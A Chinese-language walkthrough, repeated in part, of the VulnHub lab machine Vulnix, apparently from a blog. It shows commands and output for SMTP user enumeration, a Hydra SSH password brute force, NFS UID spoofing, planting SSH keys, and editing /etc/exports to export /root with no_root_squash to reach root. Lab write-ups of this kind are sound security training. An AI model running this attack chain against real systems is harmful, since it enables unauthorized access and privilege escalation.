192.168.44.230: mail exists
192.168.44.230: news exists
192.168.44.230: proxy exists
192.168.44.230: root exists
192.168.44.230: syslog exists
192.168.44.230: user exists
######## Scan completed at Sat Nov 19 10:46:25 2022 #########
9 results.
1909 queries in 7 seconds (272.7 queries / sec)
目前得到的帳號有backup、games、irc、mail、news、proxy、root、syslog、user等。要如何拿到密碼?
首先用finger來查登入資訊(這步是否必要?)。finger用于查找并显示用户信息,包括本地与远端主机的用户皆可,帐号名称没有大小写的差别。单独执行finger指令,它会显示本地主机现在所有的用户的登陆信息,包括帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话。
└─$ finger user@192.168.44.230
Login: user Name: user
Directory: /home/user Shell: /bin/bash
Never logged in.
No mail.
No Plan.
Login: dovenull Name: Dovecot login user
Directory: /nonexistent Shell: /bin/false
Never logged in.
No mail.
No Plan.
接下來使用hydra作ssh密碼爆破。有別於先前體驗過的其他工具,雖然也是透過字典檔的形式,但它支援多種不同協定,可以用來破解ssh
、telnet
、ftp
等等,使用範例如下
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
範例裡用到的相關參數如下:
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
通常是用-L
給定Login name的列表(txt檔),然後搭配密碼字典檔來使用,不過現在只先對user做密碼爆破,所以直接打使用者名稱即可。用-t
對靶機一次建立n個連線,來測試hydra
能不能找到帳密來登入ssh服務。
└─$ hydra -l user -P /usr/share/wordlists/rockyou.txt -t 6 ssh://192.168.44.230
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-19 13:57:54
[DATA] max 6 tasks per 1 server, overall 6 tasks, 14344399 login tries (l:1/p:14344399), ~2390734 tries per task
[DATA] attacking ssh://192.168.44.230:22/
[STATUS] 66.00 tries/min, 66 tries in 00:01h, 14344333 to do in 3622:19h, 6 active
[STATUS] 51.00 tries/min, 153 tries in 00:03h, 14344246 to do in 4687:40h, 6 active
[STATUS] 43.71 tries/min, 306 tries in 00:07h, 14344093 to do in 5468:53h, 6 active
[22][ssh] host: 192.168.44.230 login: user password: letmein
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-19 14:09:56
這裡選的字典檔是/usr/share/wordlists/rockyou.txt
,也可以選/usr/share/wordlists/metasploit/password.lst
,但是破解時間太長了。
來ssh登入:
└─$ ssh user@192.168.44.230
The authenticity of host '192.168.44.230 (192.168.44.230)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.44.230' (ECDSA) to the list of known hosts.
user@192.168.44.230's password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sat Nov 19 06:18:19 GMT 2022
System load: 0.02 Processes: 90
Usage of /: 90.4% of 773MB Users logged in: 0
Memory usage: 7% IP address for eth0: 192.168.44.230
Swap usage: 0%
=> / is using 90.4% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
user@vulnix:~$
接下來翻翻看有沒有什麼值得提權的。
來看看nfs
└─$ showmount -e 192.168.44.230
Export list for 192.168.44.230:
/home/vulnix *
這代表靶机将vulnix用户的家目录共享,所以我們掛載。
┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/nfs
[sudo] password for kali:
┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs 192.168.44.230:/home/vulnix /mnt/nfs
┌──(kali㉿kali)-[~]
└─$ cd /mnt
┌──(kali㉿kali)-[/mnt]
└─$ cd nfs
cd: permission denied: nfs
┌──(kali㉿kali)-[/mnt]
└─$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Nov 19 03:20 .
drwxr-xr-x 18 root root 4096 Aug 8 06:57 ..
drwxr-x--- 2 nobody nogroup 4096 Sep 2 2012 nfs
要注意,上面的指令只能在虛擬機有用,在wsl2沒有用。可以發現雖然掛載了,但進不去,估计设置了root_squash。
現在可能沒辦法把root_squash改成no_root_squash,但既然掛載的是vulnix的家目錄,那麼在攻擊機創建一個使用者名稱、uid、gid一樣的使用者,再用這使用者的身分登入就好。
那我們要查vulnix的uid跟gid是多少,首先要先用剛剛得到的user帳密ssh登入,再看看/etc/passwd
。
─$ ssh user@192.168.44.230
The authenticity of host '192.168.44.230 (192.168.44.230)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.44.230' (ECDSA) to the list of known hosts.
user@192.168.44.230's password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sat Nov 19 16:40:53 GMT 2022
System load: 0.0 Processes: 89
Usage of /: 84.7% of 773MB Users logged in: 0
Memory usage: 9% IP address for eth0: 192.168.44.230
Swap usage: 0%
Graph this data and manage this system at https://landscape.canonical.com/
Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Sat Nov 19 06:18:19 2022 from 192.168.44.1
user@vulnix:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),100(users)
user@vulnix:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
postfix:x:104:110::/var/spool/postfix:/bin/false
dovecot:x:105:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
dovenull:x:106:65534:Dovecot login user,,,:/nonexistent:/bin/false
landscape:x:107:113::/var/lib/landscape:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash
statd:x:109:65534::/var/lib/nfs:/bin/false
查到uid跟gid都是2008,接下來在攻擊機上創建一樣的帳號:
┌──(kali㉿kali)-[/mnt]
└─$ sudo groupadd -g 2008 vulnix
[sudo] password for kali:
┌──(kali㉿kali)-[/mnt]
└─$ sudo adduser vulnix -uid=2008 -gid=2008
Adding user `vulnix' ...
Adding new user `vulnix' (2008) with group `vulnix' ...
Creating home directory `/home/vulnix' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
No password has been supplied.
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for vulnix
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
me Phone []:
Other []:
Is the information correct? [Y/n] Y
接下來把帳號切換到vulnix,移動到nfs目錄,再查看裡面有什麼檔案:
┌──(kali㉿kali)-[/mnt]
└─$ su - vulnix
Password:
┌──(vulnix㉿kali)-[~]
└─$ cd /mnt/nfs
┌──(vulnix㉿kali)-[/mnt/nfs]
└─$ ls -la
total 20
drwxr-x--- 2 vulnix vulnix 4096 Sep 2 2012 .
drwxr-xr-x 3 root root 4096 Nov 19 03:20 ..
-rw-r--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 vulnix vulnix 675 Apr 3 2012 .profile
進入後只有一些普通的共通文件,這裡一個神奇操作來了: 在nfs內創建ssh密鑰,這樣就可以從我們創建的假帳號,變成靶機內的vulnix真帳號!
┌──(kali㉿kali)-[/mnt]
└─$ sudo passwd root
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
┌──(kali㉿kali)-[/mnt]
└─$ su
Password:
┌──(root㉿kali)-[/mnt]
└─# cd
┌──(root㉿kali)-[~]
└─# pwd
/root
┌──(root㉿kali)-[~]
└─# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:XYggyHFUzP276r4usW0H63whDKf4ZJVMWuv1BqTLkJI root@kali
The key's randomart image is:
+---[RSA 3072]----+
| ..+++o. |
| o. .o.+... |
| . *.*. . |
| E = B.+. |
| o XSo.+ |
| . = B o o |
| + + + + |
| +.+ + |
| BO= |
+----[SHA256]-----+
┌──(root㉿kali)-[~]
└─# pwd
/root
┌──(root㉿kali)-[~]
└─# cd /root/.ssh
┌──(root㉿kali)-[~/.ssh]
└─# ls
id_rsa id_rsa.pub
┌──(root㉿kali)-[~/.ssh]
└─# cp id_rsa.pub /mnt
┌──(root㉿kali)-[~/.ssh]
└─# exit
┌──(kali㉿kali)-[/mnt]
└─$ su - vulnix
Password:
┌──(vulnix㉿kali)-[~]
└─$ cd /mnt
┌──(vulnix㉿kali)-[/mnt]
└─$ ls
id_rsa.pub nfs
┌──(vulnix㉿kali)-[/mnt]
└─$ mkdir /mnt/nfs/.ssh
mkdir: cannot create directory ‘/mnt/nfs/.ssh’: File exists
┌──(vulnix㉿kali)-[/mnt]
└─$ cd nfs/.ssh
┌──(vulnix㉿kali)-[/mnt/nfs/.ssh]
└─$ cp /mnt/id_rsa.pub authorized_keys
┌──(vulnix㉿kali)-[/mnt/nfs/.ssh]
└─$ ls
authorized_keys
先創建root帳號的密碼,登入root後下ssh-keygen
指令,生成密鑰id_rsa.pub
。比較要注意的是,要把生成的密鑰先用root權限移到vulnix權限也能存取的地方,再由vulnix移到nfs底下的.ssh。
接下來就是登入:
┌──(kali㉿kali)-[~/.ssh]
└─$ ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i id_rsa vulnix@192.168.44.230
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sun Nov 20 10:00:26 GMT 2022
System load: 0.0 Processes: 88
Usage of /: 90.2% of 773MB Users logged in: 0
Memory usage: 7% IP address for eth0: 192.168.44.230
Swap usage: 0%
=> / is using 90.2% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
vulnix@vulnix:~$
要特別注意的,就是ssh時的這個參數:
-o 'PubkeyAcceptedKeyTypes +ssh-rsa'
沒有這個參數,根本就無法無密碼登入。However, as with creating the key, we need to tell our SSH client to accept the old ssh-rsa algorithm.
vulnix@vulnix:~$ sudo -ll
Matching 'Defaults' entries for vulnix on this host:
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User vulnix may run the following commands on this host:
Sudoers entry:
RunAsUsers: root
Commands:
sudoedit /etc/exports
RunAsUsers: root
Commands:
NOPASSWD: sudoedit /etc/export
可以從sudo -ll
知道可以不須帳密就可編輯export文件
vulnix@vulnix:~$ sudoedit /etc/exports
原本文件只有/home/vulnix
,直接多加root作為可共享目錄
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix *(rw,no_root_squash)
/root *(rw,no_root_squash)
接下來重開靶機後,再次看共用目錄,可以發現有共享root
┌──(kali㉿kali)-[~]
└─$ showmount -e 192.168.44.230
Export list for 192.168.44.230:
/root *
/home/vulnix *
所以創建一個目錄,把root掛載在上面:
┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/vulnroot
┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs 192.168.44.230:/root /mnt/vulnroot
掛載以後就可以故技重施,製作ssh的公鑰私鑰:
┌──(kali㉿kali)-[~/.ssh]
└─$ ssh-keygen -t ssh-rsa
Generating public/private ssh-rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): root_key
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root_key
Your public key has been saved in root_key.pub
The key fingerprint is:
SHA256:WYQn4+8RkXF9595AiJu2c/0oRvda8tA+YrSnxvHKZAo kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| .o+.o |
| +.=.. o o|
| . +.+ . o.|
| .o= . .|
| So o . o.|
| = ooo.o|
| E =o+*+o|
| o B*.Xo|
| oo=*.+|
+----[SHA256]-----+
創建.ssh
資料夾,把公鑰放在裡面,並改名authorized_keys
。
┌──(kali㉿kali)-[~]
└─$ sudo mkdir /mnt/vulnroot/.ssh
┌──(kali㉿kali)-[~]
└─$ sudo cp .ssh/root_key.pub /mnt/vulnroot/.ssh/authorized_keys
接下來就可以不用帳密登入root帳號,完成提權。
┌──(kali㉿kali)-[~]
└─$ cd .ssh
┌──(kali㉿kali)-[~/.ssh]
└─$ ls -al
total 32
drwx------ 2 kali kali 4096 Nov 20 05:40 .
drwxr-xr-x 22 kali kali 4096 Nov 20 05:59 ..
-rw------- 1 kali kali 2590 Nov 20 03:13 id_rsa
-rw-r--r-- 1 kali kali 222 Nov 19 20:33 known_hosts
-rw------- 1 kali kali 2590 Nov 20 05:40 root_key
-rw-r--r-- 1 kali kali 563 Nov 20 05:40 root_key.pub
-rw------- 1 kali kali 2590 Nov 20 04:55 y
-rw-r--r-- 1 kali kali 563 Nov 20 04:55 y.pub
┌──(kali㉿kali)-[~/.ssh]
└─$ sudo ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i root_key root@192.168.44.230
[sudo] password for kali:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sun Nov 20 11:02:05 GMT 2022
System load: 0.02 Processes: 93
Usage of /: 90.2% of 773MB Users logged in: 0
Memory usage: 7% IP address for eth0: 192.168.44.230
Swap usage: 0%
=> / is using 90.2% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Sun Nov 20 10:43:21 2022 from 192.168.44.129
root@vulnix:~# ls -al
total 32
drwx------ 4 root root 4096 Nov 20 10:36 .
drwxr-xr-x 22 root root 4096 Sep 2 2012 ..
-rw------- 1 root root 0 Sep 2 2012 .bash_history
-rw-r--r-- 1 root root 3106 Apr 19 2012 .bashrc
drwx------ 2 root root 4096 Sep 2 2012 .cache
-rw-r--r-- 1 root root 140 Apr 19 2012 .profile
drwxr-xr-x 2 root root 4096 Nov 20 10:42 .ssh
-r-------- 1 root root 33 Sep 2 2012 trophy.txt
-rw------- 1 root root 710 Sep 2 2012 .viminfo
root@vulnix:~# cat trophy.txt
cc614640424f5bd60ce5d5264899c3be
有一個叫dirty cow的弱點應該可以用:
└─$ searchsploit 3.9
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
...一大堆
Linux Kernel 2.2.12/2.2.14/2.3.99 (RedHat 6.x) - Socket Denial of Service | linux/dos/19818.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privi | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escal | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access | linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Es | linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access M | linux/local/40611.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
Linux modutils 2.3.9 - 'modprobe' Arbitrary Command Execution | linux/local/20402.sh
...一大堆
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
VulnHub-HACKLAB: VULNIX-靶机渗透学习
Vulnix Walkthrough (OSCP Prep)
GitHub - vshaliii/Hacklab-Vulnix: CTF machine Writeup
Day 23 Password Attacks - 密碼攻擊 (hydra, pw-inspector) - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天
]]>找尋靶機IP
└─$ nmap -sP 192.168.44.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-19 09:55 CST
Nmap scan report for 192.168.44.129
Host is up (0.00088s latency).
Nmap scan report for 192.168.44.230
Host is up (0.0013s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 75.43 seconds
偵查靶機開的port
└─$ sudo nmap -sS -sV -T4 -A -p- 192.168.44.230
[sudo] password for nathan:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-19 09:58 CST
Nmap scan report for 192.168.44.230
Host is up (0.00073s latency).
Not shown: 65518 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
| 2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_ 256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp open smtp Postfix smtpd
|_ssl-date: 2022-11-19T02:01:58+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=vulnix
| Not valid before: 2012-09-02T17:40:12
|_Not valid after: 2022-08-31T17:40:12
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
110/tcp open pop3?
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
|_ssl-date: 2022-11-19T02:01:58+00:00; +3s from scanner time.
|_pop3-capabilities: STLS CAPA SASL UIDL TOP RESP-CODES PIPELINING
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100003 2,3,4 2049/udp nfs
| 100003 2,3,4 2049/udp6 nfs
| 100005 1,2,3 39367/tcp6 mountd
| 100005 1,2,3 50406/tcp mountd
| 100005 1,2,3 52541/udp mountd
| 100005 1,2,3 52651/udp6 mountd
| 100021 1,3,4 41141/tcp nlockmgr
| 100021 1,3,4 45141/udp6 nlockmgr
| 100021 1,3,4 50156/udp nlockmgr
| 100021 1,3,4 53587/tcp6 nlockmgr
| 100024 1 46920/tcp status
| 100024 1 51756/tcp6 status
| 100024 1 52813/udp status
| 100024 1 53709/udp6 status
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
143/tcp open imap Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS more have ID LITERAL+ listed capabilities Pre-login IDLE post-login SASL-IR LOGINDISABLEDA0001 OK STARTTLS IMAP4rev1 ENABLE
|_ssl-date: 2022-11-19T02:01:58+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
993/tcp open ssl/imap Dovecot imapd
|_ssl-date: 2022-11-19T02:01:58+00:00; +3s from scanner time.
|_imap-capabilities: LOGIN-REFERRALS more ID have Pre-login listed SASL-IR IDLE post-login AUTH=PLAINA0001 capabilities OK ENABLE IMAP4rev1 LITERAL+
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
995/tcp open ssl/pop3s?
|_ssl-date: 2022-11-19T02:01:58+00:00; +3s from scanner time.
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
|_pop3-capabilities: CAPA SASL(PLAIN) TOP UIDL USER RESP-CODES PIPELINING
2049/tcp open nfs_acl 2-3 (RPC #100227)
40909/tcp open mountd 1-3 (RPC #100005)
41141/tcp open nlockmgr 1-4 (RPC #100021)
42577/tcp open mountd 1-3 (RPC #100005)
46920/tcp open status 1 (RPC #100024)
50406/tcp open mountd 1-3 (RPC #100005)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=11/19%OT=22%CT=1%CU=35710%PV=Y%DS=2%DC=T%G=Y%TM=637839
OS:14%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=8)OP
OS:S(O1=M5B4ST11NW3%O2=M5B4ST11NW3%O3=M5B4NNT11NW3%O4=M5B4ST11NW3%O5=M5B4ST
OS:11NW3%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=3890%W6=3890)EC
OS:N(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW3%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=6979%RUD=G)IE(R=Y%DFI=N%T=4
OS:0%CD=S)
Network Distance: 2 hops
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2s, deviation: 0s, median: 2s
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 0.20 ms DESKTOP-NRNV04H.mshome.net (172.23.32.1)
2 0.81 ms 192.168.44.230
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 217.88 seconds
Segmentation fault
這一次沒有80 port,不過有開25 port,SMTP(Simple Mail Transfer Protocol)。可以透過枚舉工具來情蒐,得到帳號:
不過枚舉工具smtp-user-enum
好像沒有預先安裝,所以先安裝一下:
└─$ pip install smtp-user-enum
Defaulting to user installation because normal site-packages is not writeable
Collecting smtp-user-enum
Downloading smtp_user_enum-0.5.0-py2.py3-none-any.whl (12 kB)
Collecting argparse
Downloading argparse-1.4.0-py2.py3-none-any.whl (23 kB)
Installing collected packages: argparse, smtp-user-enum
Successfully installed argparse-1.4.0 smtp-user-enum-0.5.0
-U後面要接字典檔:
└─$ smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/namelist.txt -t 192.168.44.230
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /usr/share/wordlists/metasploit/namelist.txt
Target count ............. 1
Username count ........... 1909
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
######## Scan started at Sat Nov 19 10:46:18 2022 #########
192.168.44.230: backup exists
192.168.44.230: games exists
192.168.44.230: irc exists
192.168.44.230: mail exists
192.168.44.230: news exists
192.168.44.230: proxy exists
192.168.44.230: root exists
192.168.44.230: syslog exists
192.168.44.230: user exists
######## Scan completed at Sat Nov 19 10:46:25 2022 #########
9 results.
1909 queries in 7 seconds (272.7 queries / sec)
目前得到的帳號有backup、games、irc、mail、news、proxy、root、syslog、user等。要如何拿到密碼?
首先用finger來查登入資訊(這步是否必要?)。finger用于查找并显示用户信息,包括本地与远端主机的用户皆可,帐号名称没有大小写的差别。单独执行finger指令,它会显示本地主机现在所有的用户的登陆信息,包括帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话。
└─$ finger user@192.168.44.230
Login: user Name: user
Directory: /home/user Shell: /bin/bash
Never logged in.
No mail.
No Plan.
Login: dovenull Name: Dovecot login user
Directory: /nonexistent Shell: /bin/false
Never logged in.
No mail.
No Plan.
接下來使用hydra作ssh密碼爆破。有別於先前體驗過的其他工具,雖然也是透過字典檔的形式,但它支援多種不同協定,可以用來破解ssh
、telnet
、ftp
等等,使用範例如下
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
範例裡用到的相關參數如下:
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-4 / -6 use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
通常是用-L
給定Login name的列表(txt檔),然後搭配密碼字典檔來使用,不過現在只先對user做密碼爆破,所以直接打使用者名稱即可。用-t
對靶機一次建立n個連線,來測試hydra
能不能找到帳密來登入ssh服務。
└─$ hydra -l user -P /usr/share/wordlists/rockyou.txt -t 6 ssh://192.168.44.230
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-19 13:57:54
[DATA] max 6 tasks per 1 server, overall 6 tasks, 14344399 login tries (l:1/p:14344399), ~2390734 tries per task
[DATA] attacking ssh://192.168.44.230:22/
[STATUS] 66.00 tries/min, 66 tries in 00:01h, 14344333 to do in 3622:19h, 6 active
[STATUS] 51.00 tries/min, 153 tries in 00:03h, 14344246 to do in 4687:40h, 6 active
[STATUS] 43.71 tries/min, 306 tries in 00:07h, 14344093 to do in 5468:53h, 6 active
[22][ssh] host: 192.168.44.230 login: user password: letmein
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-19 14:09:56
這裡選的字典檔是/usr/share/wordlists/rockyou.txt
,也可以選/usr/share/wordlists/metasploit/password.lst
,但是破解時間太長了。
來ssh登入:
└─$ ssh user@192.168.44.230
The authenticity of host '192.168.44.230 (192.168.44.230)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
This key is not known by any other names
